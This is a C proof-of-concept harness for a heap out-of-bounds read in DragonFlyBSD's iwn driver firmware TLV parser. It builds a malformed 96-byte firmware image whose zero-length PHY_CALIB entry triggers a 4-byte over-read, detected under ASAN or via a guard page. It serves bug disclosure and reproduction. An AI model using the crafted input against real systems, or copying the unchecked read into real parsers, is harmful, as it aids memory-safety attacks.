DF-3577 / iwn_tlv_oob.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 | /* * DF-3577 PoC harness: 4-byte heap OOB read in iwn_read_firmware_tlv() * sys/dev/netif/iwn/if_iwn.c:8315-8320 (DragonFlyBSD), IWN_FW_TLV_PHY_CALIB. * * The parsing loop below is copied line-for-line from * iwn_read_firmware_tlv() (if_iwn.c:8271-8358); only the DPRINTF / * device_printf diagnostics are dropped and sc-> fields are modelled as * locals. The bug: * * case IWN_FW_TLV_PHY_CALIB: * tmp = le32toh(*ptr); <-- if_iwn.c:8316 * * is executed for ANY len that passes the generic bound check * `ptr + len > end` (if_iwn.c:8280) -- including len == 0..3, for which * the 4-byte load at `ptr` runs past `end` (the end of the firmware * image). Compare the sibling case IWN_FW_TLV_FLAGS (if_iwn.c:8327-8331) * which correctly rejects len < sizeof(uint32_t). * * The crafted image below is exactly 96 bytes: * [0..88) struct iwn_fw_tlv_hdr (zero=0, signature "IWL\n", ...) * [88..96) struct iwn_fw_tlv (type=15 PHY_CALIB, alt=0, len=0) * i.e. the TLV sits at the very end of the buffer with a zero-length * payload; `*ptr` then reads 4 bytes past the allocation. * * Two detection modes (run.sh tries both): * 1. ASAN : cc -fsanitize=address -> heap-buffer-overflow READ 4 * 2. guard page : image placed flush against a PROT_NONE page -> SIGSEGV * * Build: cc -O2 [-fsanitize=address] -o iwn_tlv_oob iwn_tlv_oob.c * Run: ./iwn_tlv_oob (mode from argv[1]: asan|guard) */ #include <stdint.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <unistd.h> /* ---- verbatim from sys/dev/netif/iwn/if_iwnreg.h:1719-1754 ---- */ struct iwn_fw_tlv_hdr { uint32_t zero; /* Always 0, to differentiate from legacy. */ uint32_t signature; #define IWN_FW_SIGNATURE 0x0a4c5749 /* "IWL\n" */ uint8_t descr[64]; uint32_t rev; uint32_t build; uint64_t altmask; } __attribute__((__packed__)); struct iwn_fw_tlv { uint16_t type; uint16_t alt; uint32_t len; } __attribute__((__packed__)); #define IWN_FW_TLV_MAIN_TEXT 1 #define IWN_FW_TLV_MAIN_DATA 2 #define IWN_FW_TLV_INIT_TEXT 3 #define IWN_FW_TLV_INIT_DATA 4 #define IWN_FW_TLV_BOOT_TEXT 5 #define IWN_FW_TLV_ENH_SENS 14 #define IWN_FW_TLV_PHY_CALIB 15 #define IWN_FW_TLV_PAN 7 #define IWN_FW_TLV_FLAGS 18 #define le16toh(x) (x) #define le32toh(x) (x) #define le64toh(x) (x) #define htole16(x) (x) #define htole32(x) (x) static uint32_t reset_noise_gain, noise_gain, tlv_feature_flags; static int fw_pan; /* ---- model of iwn_read_firmware_tlv(), if_iwn.c:8237-8360 ---- */ static int iwn_read_firmware_tlv_model(const uint8_t *fw_data, size_t fw_size) { const struct iwn_fw_tlv_hdr *hdr; const struct iwn_fw_tlv *tlv; const uint8_t *ptr, *end; uint64_t altmask; uint32_t len, tmp; uint16_t alt = 1; if (fw_size < sizeof (*hdr)) return (22); /* EINVAL */ hdr = (const struct iwn_fw_tlv_hdr *)fw_data; if (hdr->signature != htole32(IWN_FW_SIGNATURE)) return (22); altmask = le64toh(hdr->altmask); while (alt > 0 && !(altmask & (1ULL << alt))) alt--; /* Downgrade. */ ptr = (const uint8_t *)(hdr + 1); end = (const uint8_t *)(fw_data + fw_size); /* Parse type-length-value fields. */ while (ptr + sizeof (*tlv) <= end) { tlv = (const struct iwn_fw_tlv *)ptr; len = le32toh(tlv->len); ptr += sizeof (*tlv); if (ptr + len > end) return (22); /* EINVAL: too short */ /* Skip other alternatives. */ if (tlv->alt != 0 && tlv->alt != htole16(alt)) goto next; switch (le16toh(tlv->type)) { case IWN_FW_TLV_PAN: fw_pan = 1; break; case IWN_FW_TLV_ENH_SENS: if (!len) ; /* sc->sc_flags |= IWN_FLAG_ENH_SENS */ break; case IWN_FW_TLV_PHY_CALIB: tmp = le32toh(*ptr); /* <-- if_iwn.c:8316: OOB */ printf("PHY_CALIB: read tmp=0x%08x\n", tmp); if (tmp < 253) { reset_noise_gain = tmp; noise_gain = tmp + 1; } break; case IWN_FW_TLV_FLAGS: if (len < sizeof (uint32_t)) break; if (len % sizeof (uint32_t)) break; tlv_feature_flags = le32toh(*ptr); break; default: break; } next: /* TLV fields are 32-bit aligned. */ ptr += (len + 3) & ~3; } return (0); } static const size_t IMG_SZ = sizeof (struct iwn_fw_tlv_hdr) + sizeof (struct iwn_fw_tlv); /* 88 + 8 = 96 */ static void build_image(uint8_t *img) { struct iwn_fw_tlv_hdr *hdr = (struct iwn_fw_tlv_hdr *)img; struct iwn_fw_tlv *tlv; memset(img, 0, IMG_SZ); hdr->zero = 0; hdr->signature = htole32(IWN_FW_SIGNATURE); memcpy(hdr->descr, "DF-3577 malformed PHY_CALIB TLV", 31); hdr->rev = htole32(0x00000012); /* API 0, any */ hdr->build = 0; hdr->altmask = 0; tlv = (struct iwn_fw_tlv *)(img + sizeof (*hdr)); tlv->type = IWN_FW_TLV_PHY_CALIB; tlv->alt = 0; tlv->len = 0; /* zero-length payload */ } int main(int argc, char *argv[]) { const char *mode = argc > 1 ? argv[1] : "guard"; if (strcmp(mode, "asan") == 0) { uint8_t *img = malloc(IMG_SZ); /* exact size */ build_image(img); printf("asan mode: image %zu bytes at %p, TLV at end, len=0\n", IMG_SZ, img); fflush(stdout); iwn_read_firmware_tlv_model(img, IMG_SZ); printf("UNEXPECTED: parser returned without OOB\n"); free(img); return (1); } else { /* guard-page mode: image ends flush at a PROT_NONE page */ size_t pgsz = (size_t)sysconf(_SC_PAGESIZE); uint8_t *base = mmap(NULL, 2 * pgsz, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (base == MAP_FAILED) { perror("mmap"); return (2); } if (mprotect(base + pgsz, pgsz, PROT_NONE) != 0) { perror("mprotect"); return (2); } uint8_t *img = base + pgsz - IMG_SZ; /* ends at guard */ build_image(img); printf("guard mode: image %zu bytes ending exactly at " "PROT_NONE page; TLV payload len=0\n", IMG_SZ); fflush(stdout); iwn_read_firmware_tlv_model(img, IMG_SZ); printf("UNEXPECTED: parser returned without OOB\n"); return (1); } } |